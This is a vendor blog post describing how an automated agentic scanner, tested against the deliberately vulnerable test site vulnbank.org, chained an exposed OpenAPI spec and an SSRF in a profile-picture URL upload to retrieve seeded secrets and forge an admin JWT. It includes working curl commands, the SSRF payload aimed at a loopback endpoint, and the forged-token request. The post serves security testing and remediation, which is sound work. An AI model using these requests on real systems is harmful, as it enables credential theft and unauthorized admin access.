Ostorlab outperforms Mythos, Microsoft, and Wiz. Our CyberGym benchmark results, at a fraction of the cost. Learn more

Security

Security

The Map and the Window: How an Agentic Scan Chained a Documentation Leak Into Stolen Credentials

See how Ostorlab's Agentic Deep Scan chained a Medium-severity OpenAPI disclosure and an SSRF vulnerability to bypass a loopback restriction and extract database credentials.

The Map and the Window: How an Agentic Scan Chained a Documentation Leak Into Stolen Credentials

Ostorlab Agentic Deep Scan found a publicly readable OpenAPI specification at /static/openapi.json and rated it Medium: documentation, no credentials. It then read that document as an inventory and walked it to two Critical findings, a set of live database credentials, and a forged administrator session.

What is a cross-layer attack path? A cross-layer attack path is one where an artifact exposed at one layer of an application — a build file, a static asset, a client bundle — supplies what is needed to reach a weakness at a different layer, usually the backend. The artifact is frequently not a vulnerability by itself; its value is that it removes the guesswork from testing something else.

Executive Summary (TL;DR)

Two endpoints in that specification mattered. /internal/secret returns the application's secrets and refuses anyone but the server itself, answering direct requests with HTTP 403 Internal resource. Loopback only. /upload_profile_picture_url accepts a URL and fetches it, server-side.

Pointing the second at the first satisfied the loopback restriction rather than breaking it. The response carried application signing keys, JWT secrets, and database credentials — and the leaked signing key was then used to mint an administrator token the application accepted.

Testing Environment & Methodology

This walkthrough documents an authorized, simulated benchmarking exercise. All testing was performed by Ostorlab Agentic Deep Scan against vulnbank.org, a deliberately vulnerable banking application published and maintained for security research and tool evaluation. No production system, real customer data, or third-party asset was involved, and every credential shown below is a seeded test value belonging to that sandbox.

Why Scanners Stop at the Specification

Signature-based tooling evaluates one request at a time against a library of known-bad patterns. That primitive is fast and deterministic, and it has three structural blind spots that no additional rules close.

Limitation Why it happens What it misses here
No state across requests Endpoints are evaluated in isolation, request by request That two endpoints listed in the same file combine into a bypass
No concept of purpose Rules encode syntax, not what a feature is for versus what it does That a profile-picture uploader is, from the server's position, a request generator
A working control ends the test A correct 403 is recorded as a negative result and the endpoint is dropped That the control names an authorized party who might be reachable by other means

Each of those behaviors is individually correct. Fetching the specification yields no signature match. Probing /internal/secret yields a genuine 403. Neither observation is wrong, and neither produces a finding.

What the Agent Does Differently

The Ostorlab Agentic Deep Scan executes a continuous five-step reasoning loop to discover and validate vulnerabilities:

  1. Recon — map the surface: endpoints, parameters, auth requirements, exposed artifacts.
  2. Hypothesis — reason about what could go wrong given what has been observed.
  3. Test — send the request that proves or disproves it.
  4. Validate — confirm real impact rather than a suggestive response.
  5. Chain — ask whether this result, combined with anything already found, opens a path not yet tried.

Steps 2 and 5 are the difference. A signature-based scanner has step 3 and, weakly, step 4. It forms no hypotheses about what a feature is for, and retains no model of prior findings to combine with the current one. An agent keeps a running inventory of the application — what it has seen, what it has ruled out, what remains unexplained — and consults it every time a new result arrives. The chain below exists entirely in step 5.

Seeing It Happen: A Chain Found by Agentic Deep Scan

Finding #1 (Medium): OpenAPI Specification Publicly Accessible

The application served a complete OpenAPI 3.0 document from its public static asset directory:

$ curl -s https://vulnbank.org/static/openapi.json | wc -l
1471

$ curl -I https://vulnbank.org/static/openapi.json
HTTP/2 200
content-type: application/json

No authentication, predictable path, 1,471 lines describing 32 endpoints with their schemas and per-route authentication requirements. /static/ is where a frontend keeps stylesheets and images — not a backend contract.

Ostorlab finding view for "OpenAPI Specification Publicly Accessible - Information Disclosure", rated Medium and ticketed ostoraa-26070, showing the root cause at /static/openapi.json and a curl command returning 1,471 lines of API specification.
The initial finding: a publicly readable API specification

Figure 1: Rated Medium, and correctly so on its own terms. The finding's own description already flags the consequence: the spec "reveals the existence of sensitive endpoints like /sup3r_s3cr3t_admin that would otherwise require extensive crawling to discover."

Enumerating it turned 1,471 lines into a structured surface — including routes the application never links to:

Category Endpoints
Authentication /login, /register, /api/v1/forgot-password
Transactions /transfer, /transactions/{account_number}, /check_balance
Admin /sup3r_s3cr3t_admin, /admin/create_admin, /admin/delete_account/{user_id}
Internal /internal/config.json, /internal/secret, /latest/meta-data/*
File upload /upload_profile_picture, /upload_profile_picture_url

Exploitation evidence from the OpenAPI finding showing jq enumeration of .paths and .components.schemas, an attack scenario listing endpoint discovery through to GraphQL introspection, and validation evidence confirming 1,471 lines accessible without authentication.
The spec parsed into an endpoint inventory

Figure 2: The specification parsed into an inventory. The value is not any single path — it is holding the whole surface at once.

The obvious hypothesis, correctly refuted. /internal/secret advertises itself, so the agent requested it:

$ curl -s -i https://vulnbank.org/internal/secret
HTTP/2 403
{"error": "Internal resource. Loopback only."}

Refused, and refused correctly. The endpoint checks where the request came from and serves only the machine itself. For a tool that tests endpoints independently, this is the end of the road: hypothesis disproved, control sound, move on.

Finding #2 (Critical): SSRF via Profile Picture Upload

The productive question was not how to defeat the loopback check, but who satisfies it — and whether that party can be made to act.

Loopback means the server. One row of the inventory, filed under file upload, describes a feature that makes the server issue outbound requests on demand:

$ curl -X POST https://vulnbank.org/upload_profile_picture_url \
    -H "Authorization: Bearer <JWT>" \
    -H "Content-Type: application/json" \
    -d '{"image_url": "http://127.0.0.1:5000/internal/secret"}'

The request now originates from 127.0.0.1. The loopback check passes — genuinely satisfied, not circumvented.

Ostorlab finding view for "SSRF via Profile Picture Upload Allows Internal Resource Access and Sensitive Data Exfiltration", rated Critical and ticketed ostoraa-26090, whose vulnerable-code block is annotated "# From OpenAPI spec analysis".
The pivot, traced back to the specification

Figure 3: The finding records its own provenance in the first line of its code block — # From OpenAPI spec analysis.

{{
  "secrets": {{
    "app_secret_key": "secret123",
    "jwt_secret": "secret123",
    "env_preview": {{
      "DB_HOST": "db",
      "DB_NAME": "vulnerable_bank",
      "DB_USER": "postgres",
      "DB_PASSWORD": "postgres"
    }},
    "DEEPSEEK_API_KEY": "sk-e2719..."
  }}
}}

Exploitation evidence from the SSRF finding: a test account registration, the POST to /upload_profile_picture_url carrying image_url http://127.0.0.1:5000/internal/secret, and the verbatim exfiltrated payload containing app_secret_key, jwt_secret, database credentials and a third-party API key.
Three requests, from registration to credentials

Figure 4: The full sequence as recorded — register, pivot, exfiltrate. The payload is captured verbatim rather than summarized.

Finding #3 (Critical): Sensitive Data Exposure via Unprotected /internal/secret

A single suggestive response is not a finding, so the path was re-run to confirm the behavior was repeatable and the values real:

Validation Attempt 1 — SSRF request via /upload_profile_picture_url to http://127.0.0.1:5000/internal/secret returned the full secrets payload Validation Attempt 2 — Credentials confirmed: App Secret=secret123, JWT Secret=secret123, DB credentials=postgres/postgres

That second line is what turns a response into an impact statement, and the run did not stop at reading the payload. The leaked jwt_secret was used to sign a token claiming {"user_id": 1, "username": "admin", "is_admin": true}, which was then presented to the admin route the specification had disclosed in step one:

$ curl -X GET https://vulnbank.org/sup3r_s3cr3t_admin \
    -H "Authorization: Bearer <token forged with secret123>"
HTTP/2 200   # full admin panel

The secret was not merely observed in transit. It was used to mint a credential the application honored, which is the difference between a leaked string and an authentication bypass.

Ostorlab finding view for "Sensitive Data Exposure via Unprotected /internal/secret Endpoint", rated Critical and ticketed ostoraa-26091, describing plaintext database credentials, JWT signing secrets and third-party API keys reachable in combination with the SSRF.
Critical: the endpoint that returned 403, retrieved in full

Figure 5: The description states the dependency plainly — "Combined with the SSRF vulnerability".

Vulnerable Code and Exploitation Evidence from the same finding: the SSRF vector endpoint, a "Protected but Bypassable Endpoint" block where a direct GET to /internal/secret returns HTTP 403 "Internal resource. Loopback only.", and the three-step sequence of registration, SSRF pivot and exfiltrated secrets payload.
The control and the route around it, recorded together

Figure 6: The control and its bypass in one view. The 403 is genuine. What defeated it was not an attack on that check, but a second endpoint from the same specification.

Reading the Chain

Step Finding Severity Supplied by
1 OpenAPI specification publicly served Medium Deployment mistake
2 SSRF via profile-picture URL fetch Critical Endpoint named in the specification
3 /internal/secret contents exfiltrated Critical The SSRF, aimed at a target named in the same specification
4 Admin session forged with the leaked JWT secret Impact of #3 The signing key from step 3, against an admin route from step 1

Most of that is mechanical. Fetching a static file, parsing JSON, enumerating paths, sending a request to each and recording the status — all automatable without reasoning of any kind.

The step that is not mechanical sits between rows 1 and 2. Row 1 is an inventory. Row 3 is the objective. Row 2 is neither: it is the recognition that a feature filed under "file upload" is, from the server's position, a request generator — and that a request generator is exactly what a loopback restriction requires.

Nothing in the specification says that. The document describes /upload_profile_picture_url as an image upload, because that is what it is for. Reading it as a pivot means holding two unrelated rows in mind at once and asking what one can do to the other.

Where the Severity Actually Sits

It is tempting to re-rate the specification disclosure upward now that two Criticals trace back to it. That would be the wrong call, and the agent did not make it.

Most endpoints in that specification were fine. Enumerating them yielded nothing, because their controls held. /internal/secret itself returned a correct 403 to direct access. The specification did not create the SSRF, and it did not weaken the loopback check.

What it changed was cost. It converted a blind search across an unknown API surface into a directed exercise against a complete map, and made the relationship between two endpoints visible at a glance.

That distinction drives remediation. Remove the specification and the SSRF still works, the loopback bypass still works, and /internal/secret still hands over database credentials to anything that can reach it from the inside. The document should not be public — but fixing it fixes discovery, not exposure.

FAQ

Why is an exposed OpenAPI specification a security risk? It rarely contains credentials, which is why it is seldom rated above Medium on its own. Its risk is that it publishes the full endpoint inventory — including routes the interface never links to — with parameter schemas and per-endpoint authentication requirements. That converts a blind search across an unknown API surface into a directed exercise against a known map, and makes relationships between endpoints visible that would otherwise take extensive crawling to find.

How does SSRF bypass a loopback-only restriction? It doesn't bypass it; it satisfies it. An endpoint restricted to loopback checks where the request originates and serves only the server itself. A Server-Side Request Forgery vulnerability lets an attacker supply a URL that the server then fetches, so the resulting request genuinely originates from 127.0.0.1. The control evaluates correctly and permits it — which is why loopback restrictions are not sufficient on their own when any endpoint in the same application fetches user-supplied URLs.

Should a low-severity finding be escalated when it leads to a critical one? Usually not. Here the specification disclosure did not create the SSRF and did not weaken the loopback check; both vulnerabilities existed independently. What it changed was discovery cost. Removing it would close neither Critical finding, and escalating it tends to misdirect remediation toward the disclosure rather than the exploitable defect.

What distinguishes agentic scanning from signature-based scanning? A signature-based scanner evaluates endpoints in isolation and retains no memory connecting one result to the next. Fetching the specification yields no match; probing /internal/secret yields a correct 403 accurately recorded as a negative. Neither observation is wrong. The finding exists only in the relationship between two endpoints listed in the same file, which requires maintaining a model of the surface across requests.

Was this testing performed against a production system? No. All testing was performed against vulnbank.org, a deliberately vulnerable application published for security research and tool benchmarking. The credentials shown are seeded test values within that sandbox.

The Bottom Line

Scanners will keep finding the things that look wrong on the wire, and they should — a publicly served API specification is exactly the kind of misconfiguration a rule catches cheaply. What a rule cannot do is read that specification as a floor plan and notice that two endpoints described in different sections, for different purposes, combine into a route around a control that works perfectly well on its own.

That is the shift agentic testing represents in practice: not finding more patterns, but holding enough of the application in memory to see what its parts do to each other.

Run the same reasoning loop against your own surface with Ostorlab Agentic Deep Scan.